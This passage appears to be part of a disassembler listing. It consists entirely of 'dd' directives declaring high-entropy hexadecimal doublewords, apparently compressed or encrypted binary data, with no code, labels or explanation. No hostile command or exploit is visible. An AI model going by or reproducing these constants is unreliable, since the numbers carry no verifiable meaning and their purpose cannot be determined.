		dd 9D08FE52h, 888DFB7Ch, 2B681C3Eh, 5FB9B6D2h, 0F44ACF16h
		dd 5318AF14h, 0B74DF656h, 89ADC6F9h, 8247C60Ah,	0A71BF908h
		dd 3E4C6422h, 1D4D8419h, 0B60F0801h, 0DC2851FDh, 8CB15049h
		dd 0E3F808FBh, 8EFF408h, 24515BD4h, 94928CFAh, 90E4F4B6h
		dd 3E385749h, 4A842D94h, 5606097Fh, 1163E39h, 2808331Ch
		dd 85FB7880h, 0ADC4F890h, 0B67868A3h, 6D3BDCD9h, 0C28577F6h
		dd 0F2222D40h, 0EE98D701h, 7782F98Ch, 2E2A1464h, 0C487F51h
		dd 911EA239h, 80C8C10h,	0C180E81h, 532DFB5Ah, 31CD9CEFh
		dd 52733FBBh, 0C8ADCFCh, 0F98862E8h, 5D56BAD5h,	4ADFA888h
		dd 5F2210Dh, 22379AE8h,	25344D6h, 8A0B6A0Ch, 76324934h
		dd 0B220E8D3h, 182F3088h, 6412E48Fh, 0F23FB2EAh, 2CB4103Ch
		dd 5B264344h, 529C2C37h, 15561A44h, 0FE1865E9h,	30511088h
		dd 0F99018CEh, 1048E78Eh, 3CFEA510h, 0FA2920D3h, 4FFDC3FEh
		dd 4A208922h, 0C28CBCFBh
		dd 4E4FECE8h, 0C0FA9E8h, 2DA5DF7Ch, 100F4AF7h, 8C42C70h
		dd 368B44F9h, 0A51E827h, 1D312501h, 230AF9CDh, 10233808h
		dd 0F75B3E4Dh, 3AF47684h, 0CB2C2412h, 0F113301Fh, 0BCF44CE9h
		dd 0F3BC6426h, 4F2D1221h, 4064F08Ch, 3F4F6A3Bh,	0CC534334h
		dd 219C8DEFh, 0B4DE0800h, 866935B1h, 0B34A1213h, 3A561845h
		dd 73B54EF1h, 0E221B4F6h, 5D50CAABh, 0C17324Ah,	6809628Bh
		dd 95102BE0h, 2CB93591h, 2E0418C4h, 1026A630h, 0B8A2FE14h
		dd 0ADC92930h, 9B1417F7h, 0EEDE845Ch, 2B94113Ah, 35EEB412h
		dd 3A0082D8h, 0DAD1ED56h, 5B675CC2h, 4A716384h,	0A1D48E45h
		dd 0DA633A44h, 92CEA692h, 2B25CBE8h, 1808B86Fh,	10D713Ah
		dd 38082F3Dh, 1447E285h, 1592421Dh, 2B08081Dh, 880D5688h
		dd 5F892ABCh, 58D71A15h, 0AF345A17h, 1F742746h,	428C911Dh
		dd 0A0082A84h, 5F3978E2h, 1F1B9646h, 0F92B6468h, 0B22580D3h
		dd 572AC11Bh, 9A104E21h, 0AE61C419h, 0C612EE35h, 60CD6728h
		dd 8B590C93h, 622AE9C6h, 444FF5CBh, 0ABD2EFF8h,	34115E21h
		dd 5985006h, 6155118Ah,	119FA454h, 5310E757h, 3855E4E8h
		dd 0B6E06E68h, 0C4089F09h, 0CC05131Ah, 0EC7BFE91h, 7CF915F9h
		dd 2F8C212Ah, 3F2CF88Bh, 0DB8AE72Eh, 3B6221B7h,	4E5C53A5h
		dd 1757CF4Eh, 0A0528BEh, 0C2C6824h, 2C88B347h, 520BA090h
		dd 0BC4A4DA2h, 22E882CAh, 51DAF437h, 61F77A01h,	0D717F85Eh
		dd 0A6EE24FFh, 4C04C567h, 0E21C0D0Ah, 6A226262h, 51311AE6h
		dd 0F4688476h, 0B1E0C829h, 0B68A325Bh, 1C6894Eh, 66FB7CCAh
		dd 49EE4115h, 847429D4h, 4D3A4782h, 778C9267h, 0FC3746D5h
		dd 254B435Dh, 0BB75BC57h, 91A6A11Bh, 74724A0Bh,	2CA80217h
		dd 3525B273h, 8CB96B74h, 0BD20A3Ah, 799C2950h, 92DF9A5Dh
		dd 29901DBEh, 4E846416h, 5A6E3359h, 0D0AC0710h,	0E92C09F1h
		dd 566A2BA1h, 35677878h, 0FA842F8Eh, 28914370h,	6561F19Eh
		dd 0ACE8D4F9h, 8C9CA6DAh, 0A4E6B73Bh, 28FC6812h, 4C070423h
		dd 1B2AAFAh, 2131E829h,	8956B44Ah, 305F365Ah, 0C8147E16h
		dd 699E4D1Ah, 0DF03B2BBh, 68E2B050h, 0E881C2D4h, 5D4490E9h
		dd 40592C1Eh, 9BC87C4Ah, 8534CCF0h, 4A15F10h, 7284C31Ah
		dd 0ADFE2B5Eh, 68408ABEh, 9D6288CCh, 0F6CC7F34h, 75745613h
		dd 0B9410DB7h, 54C4B30Eh, 84D32D30h, 22496E71h,	0A068C5CBh
		dd 5B2E2648h, 90431817h, 0D9895792h, 0C6381A8Ch, 197AFBC0h
		dd 234C00BEh, 0E9BDA803h, 6FC764C0h, 899F5E58h,	228B1435h
		dd 4A506815h, 2D2FE414h, 0A1354B15h, 0C3C7CD9h,	0D6DB8A3Ah
		dd 6D192A8Ah, 644868E3h, 561C3C6Bh, 0FA2DDCDBh,	0E9858671h
		dd 39BB18FEh, 31EE5994h, 6AA4E289h, 34E1317Ah, 94298C76h
		dd 3234C489h, 0F6C2195Bh, 18B32116h, 7034B108h,	428518A1h
		dd 11153493h, 47885A71h, 8A43DF04h, 41978F9Bh, 1567E918h
		dd 0E45EA633h, 3442B82Ch, 0F32D6958h, 5EA5A6D0h, 4227FC08h
		dd 0CA662ED0h, 0AF34BEC8h, 4C27EB11h, 9087258Ch, 8507AC15h
		dd 5A8E562h, 0CC8A0C56h, 717BE9ABh, 0DC88289Bh,	4B365917h
		dd 0C52E6482h, 33C38858h, 0B65471A6h, 318AB40Fh, 2594A471h
		dd 9CC46B56h, 7A232A33h, 6889C10h, 57127151h, 33CD6982h
		dd 485C541Ch, 0A3275E90h, 38422844h, 1DDE60FCh,	798E6FCBh
		dd 433B9A64h, 0E008EC4Dh, 0C5735031h, 5414D093h, 0A005C83Dh
		dd 7D0F438Dh, 0D3B90348h, 2DAF4074h, 0CD8A7E46h, 0A3A7D819h
		dd 9269412Ch, 95EB018Dh, 44CFA24Ch, 0DE6DE816h,	0B43A4685h
		dd 2BF5D438h, 30207F62h, 428C3314h, 16A21610h, 312B0739h
		dd 2E2D279Fh, 0A1577338h, 4615B866h, 0D126FC08h, 76AC9E45h
		dd 166A0958h, 5261FD39h, 4716706Eh, 32A6C466h, 548A343Ch
		dd 465622CCh, 11CC2162h, 7AE90948h, 606338ECh, 6291B9C4h
		dd 39DF3268h, 2BA04BCCh, 0B2E8178Fh, 1008CB8Bh,	7784269Ch
		dd 2131BE2Ch, 99230DB4h, 220A242Fh, 38C5515Ch, 0CFE64BCCh
		dd 7FC5FC6Eh, 16520456h, 23A2CB32h, 0D6EBAC56h,	382C1C2Eh
		dd 4536225Ch, 64108285h, 232BF5C4h, 19C0FD34h, 0AE11DDE9h
		dd 1C205432h, 2FD8AD9h,	5E11C57Eh, 91577A60h, 3A8B24F8h
		dd 0E11A8A1Fh, 4D09BAE7h, 0F467E8A6h, 0F00DB425h, 6697310Bh
		dd 8F7E6381h, 3D50F068h, 4252FD09h, 0BB67C3C8h,	0C68B84FFh
		dd 0B1250E4Bh, 0F472AB76h, 0EA9D7D2Dh, 21A5E788h, 3082442Fh
		dd 97CFEB20h, 8971FD8h,	0B850DC78h, 19438425h, 0B0E91005h
		dd 6F00A2F9h, 72606F29h, 1466A871h, 0C2100B67h,	5E51E330h
		dd 99F5AC2Bh, 0CD68B9Ch, 815E9A0Ch, 5638E399h, 37404428h
		dd 0B52F025Dh, 9F0B0418h, 1B46DC10h, 77454BACh,	0D008F158h
		dd 40268027h, 74F1A5F3h, 24D9681Eh, 79A02163h, 170A819Ah
		dd 0D3965312h, 43DC10A0h, 9050A1A4h, 0FB625A1Bh, 0F7146A16h
		dd 0E022BF1Ah, 0D5982AD4h, 0C597FA04h, 25441A5Fh, 0BDBBBCF5h
		dd 4C9DB96Ch, 2F9B2FB7h, 21D484D9h, 0F2082458h,	248FD829h
		dd 0F1404284h, 8B7B9DBEh, 0CD7F1C5h, 3BC970Eh, 2F37AD8Dh
		dd 0A18CB856h, 28F7A108h, 6C0BEB11h, 7649C48Ah,	2ECD102Ah
		dd 0A9CBE9C5h, 0B47E7E98h, 17F414A0h, 2D9899h, 57C63B7Ch
		dd 54074C75h, 0D2C4232Fh, 659EA877h, 95291F58h,	5B5F0796h
		dd 6AE39684h, 0CA39DA1h, 213A51E9h, 3BBB57C5h, 50891750h
		dd 0B7183C14h, 41BA270Dh, 132370BAh, 0ABFB582Ah, 89200A40h
		dd 5CEC2A57h, 7F2E74E1h, 34DE4CB5h, 88223741h, 2122FC84h
		dd 29182891h, 57CC4197h, 0CB36FD2Ah, 0C313DF10h, 5898584Eh
		dd 68CB0AEBh, 70C222C0h, 7CB1285Dh, 52E1F689h, 1C9C88B8h
		dd 0E0794CE8h, 58A488F2h, 0E9183039h, 4BF46555h, 0E7C35705h
		dd 0FFB097EFh, 6B224458h, 2067F664h, 1561985Eh,	0A25E078Ah
		dd 780F00E4h, 4941BFBEh, 0D82B8D21h, 59E8B310h,	0C26A962Dh
		dd 4A11114Ch, 3A6B1CFEh, 79EDD425h, 76DA3C66h, 0AFD0AC9Ch
		dd 0F4469D27h, 0CAA6E648h, 53C24B0Eh, 8A0F8EBFh, 41514B2Ch
		dd 0D868258Dh, 0C52EB8EDh, 0C6B1B429h, 0F41604A1h, 64648BFAh
		dd 5E2AC34Ah, 38A621ECh, 3C88A746h, 84F13062h, 0F02D8E35h
		dd 19A09889h, 2BA57CE8h, 98889338h, 2CE963F4h, 4574BEB7h
		dd 0E88B42D4h, 0F2D62B0Fh, 5BB22DC7h, 24CF6423h, 111B1A7Eh
		dd 858D5298h, 31FB26D0h, 1080D56h, 33BD5C68h, 5207F516h
		dd 2B20BF65h, 7701788Dh, 0F203A83h, 0C2A16737h,	8252BD84h
		dd 8BC64195h, 0D3300792h, 2F585036h, 0C5FC3648h, 2270298Eh
		dd 0F5A92780h, 2124B502h, 8720E418h, 56266A09h,	0EC23FC8Eh
		dd 865B63A0h, 4D01F62h,	5980A047h, 2EE98D72h, 0E7DCBDE5h
		dd 0E6E2388Ah, 0CEFF1C2Bh, 4BA02F7Bh, 1C985B45h, 14E9FDB8h
		dd 5713F6BCh, 4211C38Ah, 84507EA0h, 0F75FFB19h,	5789A0F2h
		dd 2215B6C5h, 13502120h, 0E54D5EAFh, 951C37Ch, 11181952h
		dd 2573BFC2h, 405CF6EAh, 0BAC33A08h, 80050AA2h,	8B9E4547h
		dd 0AECCAh, 380BC183h, 0D9F67519h, 10332832h, 25205589h
		dd 5C44086Ah, 0C88B5909h, 7A207DB8h, 87DF799h, 0C6C1032Fh
		dd 51332F08h, 470806CDh, 0D1237E25h, 266089Fh, 169E4D2Fh
		dd 5B02A2C7h, 44153186h, 448607E8h, 0F48AB4ECh,	824197BCh
		dd 2B81BF98h, 0CCF6708Dh, 297D847h, 0F628FFEBh,	200CC5BDh
		dd 393CC7AFh, 0E6751F17h, 0EEBDB9B2h, 2F5D4CFDh, 5C655E18h
		dd 0E423751Fh, 8A8B3A56h
		dd 35BD38D0h, 676D1F51h, 0FB3B3890h, 88529DBDh,	0F4FA404Eh
		dd 0BD765240h, 4B434E2Fh, 0F93025F8h, 3AA297E2h, 0CE455027h
		dd 21BB8997h, 284FE8ECh, 65BF2F48h, 95A261Ch, 885E27E5h
		dd 8BD117E5h, 752CFD60h, 715126A2h, 0DB06EB8Bh,	9C21FC34h
		dd 2360081Fh, 8F1DFDD8h, 3E191259h, 4410376Bh, 22EF842Fh
		dd 1A537528h, 5E562679h, 0B39D7378h, 82E26279h,	7A815905h
		dd 3A340B20h, 0F182738h, 0E91909C4h, 509DBA67h,	0D9A2BF57h
		dd 43235F03h, 0ABE58FE8h, 6818A230h, 0E563F51Ch, 6104EE9Dh
		dd 6BEEA2E9h, 2A709722h, 501889BEh, 21C44675h, 0E804F8FCh
		dd 4E9827D8h, 0A717A714h, 0D1D31ADDh, 275A4A15h, 5644B65Eh
		dd 6FD9D0ECh, 0F5FB14A1h, 2B2C2E55h, 0CCB19D0Ch, 7FFE399Dh
		dd 7C349297h, 295C6CC6h, 283B3B4Fh, 10FA4370h, 9AB6F8FCh
		dd 0C8684780h, 842B1E48h, 9C8E21C4h, 61270420h,	0F9DC6C1Ch
		dd 0C3F8380Bh, 0A25A2111h, 95893704h, 78CDF1EDh, 3C881E7Ch
		dd 93C7B70Ah, 487F62Fh,	8D26B2E8h, 9109ED56h, 2779A716h
		dd 2BDF05EBh, 51F956D3h, 0A8D82E7Ch, 427D8A50h,	0E026881Dh
		dd 741174C2h, 0DEA269B2h, 702C2103h, 0CA1A9D2Bh, 9385E7F7h
		dd 1ACDBB53h, 0E1E674E2h, 2F3EEDE8h, 3C413DF6h,	27461E88h
		dd 5BC8003h, 5C1B0A77h,	0E4177559h, 88CD5F2Fh, 296A309Ch
		dd 77882B32h, 3BF742F0h, 0B12558ECh, 256E2601h,	5A72BC44h
		dd 434505CBh, 0BD88BDF0h, 7C91EC59h, 0ACE85605h, 0E16FE872h
		dd 4E081E2Ch, 3882043h,	0EC278E2Ch, 0FB842143h,	18F7EC42h
		dd 168D48F1h, 0BC49E384h, 1DE02668h, 1FDD70A8h,	95842B4h
		dd 57FBC203h, 0C2F518E9h, 8C688ADCh, 874F3C1h, 5026A842h
		dd 7EB258Eh, 1CC3BE02h,	65416189h, 0F1F56A10h, 12E39A2Fh
		dd 31FB4765h, 108F683h,	216814A1h, 0D0FFCBDDh, 680742A1h
		dd 0EBE18EA8h, 728FE23h, 28421C7Eh, 0D1E8150Dh,	0F01E11C1h
		dd 0BB05131Ch, 50F7BDB0h, 424BB84h, 33D5A4E9h, 9C4D2CEBh
		dd 0C5841C46h, 1A1F3499h, 90848213h, 0AA31C9CFh, 966C6837h
		dd 0C5FEE95Dh, 0BAC1FE59h, 7E0C1BEAh, 4530DEC8h, 0B72B2821h
		dd 9BFD775Fh, 1BF438D8h, 0C0778BA6h, 0BDC22091h, 0CAC7761Eh
		dd 1EA091Fh, 835C047Ch,	8961FD43h, 42AFC9E9h, 0A50A6F9h
		dd 4A34BA66h, 7B01A130h, 1D0F3C99h, 22927811h, 6970B713h
		dd 0DA14D695h, 7CB48196h, 84040992h, 39E423A2h,	4DF4BFF8h
		dd 5180B983h, 3B470201h, 830973C7h, 822A58C4h, 0E8179907h
		dd 548B78A3h, 431B9408h, 0C71E0189h, 988BC246h,	88A6655Fh
		dd 0E90B7DFDh, 1F7F69BEh, 931AF460h, 0F01D1426h, 0F8D67DC9h
		dd 6804F021h, 778A1B60h, 0BAC7E909h, 2459D67Eh,	16438B6Fh
		dd 97F9230Fh, 206470C8h, 6E62257Dh, 0A3609ADDh,	740DC0A8h
		dd 5868561Bh, 7BE8AFC2h, 0E9C55F21h, 14B19A0h, 24CA86F2h
		dd 1D686FC5h, 1EA20C5Ah, 0AA1758D9h, 2AA498D9h,	20237B8Ah
		dd 0D125E708h, 128B0BA4h, 9D698D7Ch, 1AD40812h,	0B71CCB70h
		dd 216CF8BAh, 61F77C54h, 0A387B64Dh, 3E68BCA8h,	17699743h
		dd 0E878F2DEh, 2E6B6973h, 56C3B2DFh, 0A416D355h, 0FFD57819h
		dd 40FC8F3Ch, 7C626896h, 5C2DEBABh, 9F215680h, 42CD517Ah
		dd 4A2F502Fh, 15459C41h, 768A2394h, 0B19C88Ah, 2864B3BAh
		dd 8C9D8817h, 3474E445h, 2925D38Eh, 0B12565E4h,	0C2EA7C21h
		dd 51DD501Ah, 8B8C932Eh, 213E10E8h, 0EB141089h,	881A0C52h
		dd 0FDEBAA24h, 7481A9E2h, 0A8FD139Dh, 0E956E5F6h, 3C57EDF6h
		dd 381B8012h, 9A831DBCh, 97CEEE16h, 8886DE5h, 991362FDh
		dd 0B2E8421Dh, 19D8081Dh, 3EB4B68Bh, 7AAA205Fh,	37AC6837h
		dd 17B18A2h, 33FB5DE9h,	2053B1BCh, 2B14B50Eh, 829F69FCh
		dd 0D71EC58Eh, 5939E1E6h, 17B35E40h, 6406EB13h,	78BB9CD8h
		dd 81101942h, 220E21Ah,	835151Eh, 8F73329h, 1070192Ch
		dd 0E9048D1Ah, 0F9F4C3E7h, 514258A3h, 67960AA7h, 169F6BEBh
		dd 1994AFBEh, 5AEB695Ch, 0C223AA21h, 54CEA54Fh,	8A18C010h
		dd 437C3EADh, 0E9240837h, 716BA42Bh, 0D5813527h, 11703331h
		dd 22C81F41h, 0E618B40Bh, 93BC264Dh, 0FEB62DDh,	12212C56h
		dd 0C04AAA11h, 1E9FEF4h, 9CE9B165h, 2F942832h, 0E81B6CADh
		dd 32AB794Eh, 0D040C89Ah, 2BCAB0E0h, 72642254h,	2C112822h
		dd 0C0093318h, 0BEB0BFE9h, 3FF62011h, 4A4EE939h, 51608D29h
		dd 67186E68h, 0E90B0CACh, 22BC9C34h, 2F8483E6h,	0F7242C1Eh
		dd 0A8D1C18h, 64E3FC9Ch, 5253AE14h, 785B4A9h, 2FD1A31Eh
		dd 4BD01B17h, 0EBB9D876h, 4986DC59h, 0B4BC9258h, 0E3EDA8E3h
		dd 0D0ACCFA0h, 634B0C88h, 0B945EC96h, 644E5A1Dh, 75026A09h
		dd 2F796A7Dh, 1017D0C2h, 1087181Fh, 12BC1011h, 257C1C89h
		dd 82F39A7h, 6DED18EAh,	0EDA0128Dh, 5887B898h, 84E861AFh
		dd 49551744h, 4FA2DBB1h, 1D0D9282h, 7C091079h, 2C80F73Ch
		dd 558B377Dh, 0C8002073h, 3807E1C1h, 738D111Ch,	0C278BD34h
		dd 74014627h, 1771D838h, 8805D0A6h, 0E38BE91Eh,	44313FB9h
		dd 9045EBABh, 3D890410h, 75151257h, 64276A6Eh, 5C235E1Bh
		dd 53E9E209h, 2115D7E3h, 2CEBBB4h, 5630E29h, 0E9E32AE9h
		dd 0B314B2B8h, 60B3AF50h, 9DFF8413h, 5A07275Ch,	475C4848h
		dd 0BA7F9995h, 0A66C7DD2h, 84096420h, 282EF912h, 91410801h
		dd 62CC1418h, 772FB916h, 197FA66h, 0AE4DE90Bh, 0EFD32223h
		dd 4B38E2D3h, 0CF85F925h, 64BE932Ch, 0E8E661FEh, 0CDD27EEFh
		dd 8DF2FFF0h, 3746533Fh, 0C8C61DE1h, 0D6EECDA3h, 73942B17h
		dd 0FE541B82h, 0CD5796CBh, 2B2E3C06h, 570AF44Bh, 0A050FC50h
		dd 2595AC16h, 0CBDE9073h, 144C7C59h, 5657885Fh,	23FF3CFEh
		dd 15EF841Fh, 2CE93020h, 0C13BE241h, 19A3F0CBh,	27E830F4h
		dd 883113DAh, 6B472F46h, 0F4467D81h, 1F72A239h,	0BC031070h
		dd 108F43EFh, 0EB1215FCh, 0FACE348Eh, 60362D88h, 1F382EADh
		dd 0D1AA1375h, 1988CF30h, 0D478DC91h, 510E6AE9h, 0C15EA7D9h
		dd 0C4057427h, 0C9C7EE7Fh, 0B1A82E94h, 0C87CB4E4h, 0C2841546h
		dd 0D0B1A98Fh, 3B94CC8Ah, 0AEAF22E9h, 0B3187526h, 2297D63Eh
		dd 9DD4FA58h, 29BC91F9h, 45BB1574h, 8A45F73Bh, 2C844C30h
		dd 0D0FE3D89h, 0AB59E9EBh, 89FB1CD2h, 20F46FF0h, 31284C6Ah
		dd 78C1F038h, 0FCC02741h, 0C9026136h, 6DE27FC3h, 0D841B349h
		dd 9C2E21DFh, 39297486h, 0FFFBBF94h, 4D830605h,	4EB1781h
		dd 0FDD865D9h, 0F92FE356h, 8EB977DBh, 0FD441509h, 0F3F5D312h
		dd 0E85CAD6Dh, 8A045458h, 9522585Fh, 0F5EE297Dh, 8D165B64h
		dd 0D2FED4BDh, 0F320D018h, 0D888B9ABh, 0FBB026B3h, 84AC7684h
		dd 4FCBC3B7h, 8026ABDDh, 21B34318h, 5EA7910Ch, 0DC13C3ECh
		dd 31A44B70h, 5301117Fh, 0E8B40FFDh, 2FA7AEACh,	754AC876h
		dd 0C291DFA5h, 280653C7h, 0F1A9215Fh, 0A16A4F41h, 7CF82E95h
		dd 0E8264ACAh, 48BF341Ch, 8B8B3416h, 2024573Dh,	1FDEC3BBh
		dd 45B34185h, 43607418h, 46B1FCFFh, 44882E43h, 497E9730h
		dd 0D63C15C2h, 83126307h, 745D2C49h, 434FD810h,	0D9E9DD09h
		dd 0EE0713DFh, 0D37ABF47h, 8942D766h, 0C3AECC3Eh, 6B916A2Dh
		dd 5A353815h, 20DB25EBh, 0A8E9D62Fh, 14CA15D9h,	98A2695h
		dd 965A0C32h, 8564394h,	7D830EDCh, 0A911A1Ch, 244520CFh
		dd 9874FFE0h, 0C43E351h, 0BCA70A51h, 682F44CBh,	0AB0E978Eh
		dd 52EBE588h, 0AD47120Ch
		dd 886EE845h, 3884706Eh, 104412BEh, 4DA214A4h, 8A0C7D7h
		dd 14418D47h, 8B3363E9h, 133DA678h, 7216ABE8h, 304E33DDh
		dd 32299B9Eh, 25D96D6Eh, 1304DD44h, 999853D6h, 4FFD4298h
		dd 0C947EE9h, 8B6C49F6h, 9157184Dh, 5754308h, 0EBD6160Ah
		dd 581D85D5h, 29FED257h, 0BEE33FB0h, 68972621h,	7164EE21h
		dd 0C393FF04h, 0FE658494h, 97AFD8Dh, 0E65F1100h, 41F84623h
		dd 0A7B82B16h, 3E80F4B6h, 8C5B72E8h, 92F0CC62h,	5DF8F518h
		dd 101DF456h, 188BFD58h, 28339155h, 2A82CFAFh, 111270F0h
		dd 11149362h, 12B8605Fh, 28338C8Ch, 78257181h, 0F2025ECh
		dd 0B5839E7Fh, 55A5EA5Eh, 0FE0D9962h, 6A59216Ch, 0AF4E84F6h
		dd 2616484Ch, 67119156h, 0CB33B709h, 99C74439h,	0F61CC36Ch
		dd 1D070BAh, 0FCAD29E8h, 3593BAABh, 0FB8A1314h,	0F7E34572h
		dd 0E82A58FAh, 7AF3A748h, 0D0FCBED2h, 0CDB63F5h, 1678C62Bh
		dd 864DDA3Dh, 0F6600DDCh, 8BE82E4Ch, 0F02B8B9Dh, 0F35D941Ah
		dd 51A820A8h, 0E17B340Ah, 4E06A04h, 0B649BAC0h,	1C6A402Fh
		dd 1824E857h, 76495516h, 38358C41h, 261E7E31h, 0FDE5EAE8h
		dd 7F528231h, 20718D08h, 31F15A27h, 513B46F9h, 4CDA7C26h
		dd 5FA553AEh, 596BAB19h, 3B42AFD9h, 0D1F0FD03h,	6FD87ED0h
		dd 0B5F24F82h, 7EF64030h, 92E8160Bh, 0A23A5F10h, 14A168D7h
		dd 3B47071Fh, 0B7EA7CFEh, 0AB178E24h, 0F6AAF212h, 24AE4BE4h
		dd 0F87FC3BDh, 51E2BF84h, 185C4FCAh, 4BE288Dh, 2DD0724Dh
		dd 67DAD456h, 0F05E50Fh, 0A0576A0Fh, 3B015A5Dh,	890375C1h
		dd 83F0FC55h, 7C5B02F9h, 59616AF3h, 7B401094h, 607D4C8Bh
		dd 2E22C342h, 0C42EA84h, 7D121DCh, 8CEBD20Bh, 0F0A70C62h
		dd 940FBB0Ah, 0F97EF466h, 824B63CEh, 40AE9008h,	0DB6B83F1h
		dd 728EC12Dh, 48B94E48h, 8BA85F14h, 92F10F42h, 0D3754E14h
		dd 0F994230Bh, 5410A774h, 0D497BE50h, 7FBF4F46h, 0A294D043h
		dd 0EA832427h, 980477C8h, 144764C1h, 0B23C5C74h, 247C121Eh
		dd 4B83F801h, 0F5024BFh, 63CF020Eh, 0EB8AECC8h,	0A45275Ch
		dd 0E8BE1081h, 304C1042h, 3E10755Ah, 3C8AE4BEh,	75054151h
		dd 9050592Eh, 2388E052h, 422101C6h, 1F1323DCh, 0FA149502h
		dd 0D0D8C87Ah, 68097AA9h, 0AF0A380Ch, 81428513h, 8889170Eh
		dd 897F3513h, 6179561Ch, 265C024Eh, 5CAF0905h, 0D4CF6EEDh
		dd 6413FE83h, 0C9AF2B76h, 0B8543073h, 75E5206Bh, 2E90D3C6h
		dd 1D186835h, 0B82186FAh, 107862BDh, 0A520EB5Ch, 894BED2Bh
		dd 5D0D9146h, 17C4A544h, 80561404h, 1F765E16h, 77257ADAh
		dd 286F7190h, 644E1382h, 0AA265C1Fh, 0ED5E74E6h, 0F5059283h
		dd 0C957A4BEh, 740540EEh, 0F4468D15h, 0E8854DDEh, 0DCFE115Bh
		dd 0EB0B40DBh, 0D70E8B0Ah, 0AB89A289h, 0FE9AF0D8h, 0C60483F8h
		dd 0FE814714h, 3F7C2DC8h, 0A761EBCBh, 0D8BF048Dh, 0A86C8514h
		dd 5F7DF689h, 90CDB810h, 0E1ED5B69h, 0C35D590Dh, 166CD6D3h
		dd 3973B845h, 48912A21h, 2842BA5Eh, 0D7A4B089h,	3F88F647h
		dd 0ECCD90Dh, 6AD87C60h, 74B75606h, 1675AD15h, 0EC745F89h
		dd 0D6B578DDh, 0D44D585Ch, 0F26B65BCh, 0D1B15E42h, 473E74D5h
		dd 0BDD83546h, 0F8BF8503h, 24ECD2ABh, 0BBBC1AAh, 987F0C55h
		dd 84FF4C8Eh, 5BAEE04Ch, 0E89B23FFh, 0FF286D2h,	716C582Dh
		dd 54D32FE2h, 60B5F12h,	0D5EE5F5Eh, 41013038h, 0CE4D5DE5h
		dd 8159F3DCh, 0CC161450h, 0C7B6C8AEh, 0B1A08325h, 0AD963308h
		dd 2D8EAAD4h, 6004D021h, 0D9444372h, 4ADEE70Bh,	0DE4043E3h
		dd 0E6D695DCh, 8424E778h, 0E1FC1C5Ah, 604CECDFh, 412B2068h
		dd 0E2CF5CB5h, 4E50C73Bh, 7D396CA0h, 675F417h, 0EBD63BC0h
		dd 53DD9EF5h, 0B27AB3EAh, 58BB8924h, 8493324Dh,	0F85DBBE0h
		dd 43940CA6h, 7FEE5AF0h, 525F6CA6h, 0E9178C1Ah,	62FBFF3Dh
		dd 1029146Fh, 543D392Dh, 360FCAA8h, 54211985h, 5BEFC27h
		dd 980E80EAh, 81201E1Fh, 0E27FA4D8h, 92482260h,	6653022Ah
		dd 437620A1h, 6EF7F657h, 1167A678h, 0D4BFC4BFh,	5866F617h
		dd 74973714h, 92F1E9B3h, 3BA3E01Fh, 0C4EC22C2h,	5C0AB666h
		dd 0C5BADD65h, 1910B262h, 49D97068h, 430D983Ch,	1AF21400h
		dd 0ECCDA557h, 12CADBBFh, 0F5D9851Dh, 958C4B08h, 554AC72Bh
		dd 81A764FDh, 0AC5B7880h, 93F74725h, 320667B1h,	6B99DA5Ch
		dd 801D187h, 1059A048h,	0EF7CC18h, 1AE01623h, 0A9748068h
		dd 150F4025h, 0E8A709F1h, 0C4844676h, 631469E5h, 0C1BFD022h
		dd 6532622Eh, 64E8B85Ah, 0BB16EC06h, 0D5D32CC9h, 5E0CB6AFh
		dd 57CB03FDh, 44011AF5h, 74F0170Eh, 0C830AB78h,	9AA8BE71h
		dd 36FF2663h, 8A6809C3h, 144EE9EBh, 0B00C3F22h,	8573D09Dh
		dd 0B15D25h, 0AD10080Eh, 83D342A3h, 60424536h, 59400805h
		dd 991884C8h, 8B8B98E9h, 191A075h, 9D7ABF5Bh, 0FE808222h
		dd 0CDF6C93Eh, 66004050h, 0FE477C83h, 63755924h, 88CB1E64h
		dd 786C7B4Ch, 0D689D627h, 0C2936841h, 6019739Ch, 0CE34880Ah
		dd 94A77070h, 0AE783F64h, 7E606841h, 432814C6h,	7616823Bh
		dd 0F8762282h, 2F684CFDh, 0E5CF07Dh, 8FEBE62h, 0DB286662h
		dd 755A66C9h, 325B1AC9h, 72E8C454h, 0A084421h, 75571915h
		dd 1B82CAF1h, 0DF2F3921h, 0E79E61Bh, 0E80241E1h, 880468CFh
		dd 72A00810h, 0F37BE259h, 0D4662AB1h, 1AB1F3BDh, 8E40175Bh
		dd 0C1554684h, 0D375E29Ch, 0D714186Bh, 0E5C2D1E8h, 890C453Bh
		dd 5FDDAB84h, 3CC900C1h, 283399B3h, 0C8483E46h,	42AD1E7Bh
		dd 6A7DC094h, 448D02EDh, 0B8A31237h, 43754BCAh,	0A7D9C2D5h
		dd 0D1841708h, 746A5840h, 6830C72Bh, 0A3531554h, 0E80DC2E7h
		dd 94720849h, 0CFA474FEh, 1BD43CFAh, 6A487C2Eh,	34C82879h
		dd 261E0432h, 95051929h, 221014D7h, 0F7030919h,	4508106Ah
		dd 2107C422h, 4A8D44C4h, 0B1215710h, 7F42651h, 0A0382553h
		dd 0C1DD68F3h, 0E3E8564Fh, 6BB93A07h, 72D8BA92h, 48FBA608h
		dd 71CE31FBh, 0FA553517h, 8EBBE599h, 0F27467C8h, 0F2D752E8h
		dd 0AB077784h, 0F642B9F9h, 5645EB0Ch, 6DC7C535h, 90190105h
		dd 840DA510h, 0D9C0F8BDh, 16AC332Eh, 0E0506560h, 0E4581DC3h
		dd 0BF2DE69Fh, 0E11921F9h, 242C53EDh, 5F5EC7D0h, 810F5B4Bh
		dd 8404404Ch, 110175C9h, 12FFB841h, 83ABC13Bh, 539F0254h
		dd 8CD40315h, 84A08077h, 1267740Ah, 0C640D0Dh, 6885C4Fh
		dd 30774A4h, 75CB45FFh,	0E9F5BF1Ah, 0D4471DD1h,	8E8C1E0h
		dd 0C54CE3Ch, 106D509Bh, 0BE24A64Ch, 0C92CD381h, 0E8448AF5h
		dd 0B6EAC596h, 0F04EC7A1h, 839EE918h, 14014D8Bh, 0FC1D8A53h
		dd 63C7421h, 10F344h, 1C76C985h, 323A048Ah, 0A9BC364h
		dd 0A2330D48h, 0C3FEA175h, 3B423E81h, 0D0E472D1h, 2EA888CEh
		dd 6A4C2277h, 103C25C3h, 36880827h, 3013490Dh, 0E80D4D61h
		dd 0C23067Eh, 21EB3C63h, 246817A0h, 660A22A4h, 23320D89h
		dd 5B883790h, 840917E5h, 4CBA5059h, 55133776h, 8A1EB008h
		dd 32380C16h, 64A881Dh,	1409AB40h, 0FC4FC172h, 0BC252121h
		dd 887AD671h, 385C8018h, 50F123Ah, 3D4782D1h, 7C88413Fh
